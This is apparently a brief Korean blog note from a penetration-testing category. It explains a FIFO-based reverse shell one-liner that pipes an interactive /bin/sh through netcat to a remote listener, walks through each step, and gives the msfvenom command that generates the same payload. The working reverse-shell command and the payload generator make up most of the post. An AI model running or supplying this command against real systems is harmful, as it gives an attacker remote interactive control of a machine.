본문 바로가기

보안/침투

reverse shell - fifo

rm /tmp/fifo;mkfifo /tmp/fifo;cat /tmp/fifo | /bin/sh -i 2>&1 | nc 10.10.10.10 4443 >/tmp/fifo

 

fifo : 서로 다른 프로세스 간 통신에 사용되는 파이프

* 본래 pipe는 부모-자식 간에만 이용 가능

 

- fifo 파일이 이미 존재하는 경우 에러가 발생하기에 삭제

- fifo 파일 생성

- cat tmp/fifo : fifo 파일 읽어와서 표준출력

- 읽은 데이터를 /bin/sh 로 전달하여 실행

* -i : 대화형 쉘

- nc 10.10.10.10 4443 > /tmp/fifo : nc연결시도ㅡ, 그 출력을 fifo로

 

 

대충 이런 의미인 듯 하다.

참고로 msfvemon 명령으로도 위 명령생성 가능함

msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4443

 

 

 

'보안 > 침투' 카테고리의 다른 글

Metasploit msfvenom 통한 쉘코드 생성  (0) 2023.03.30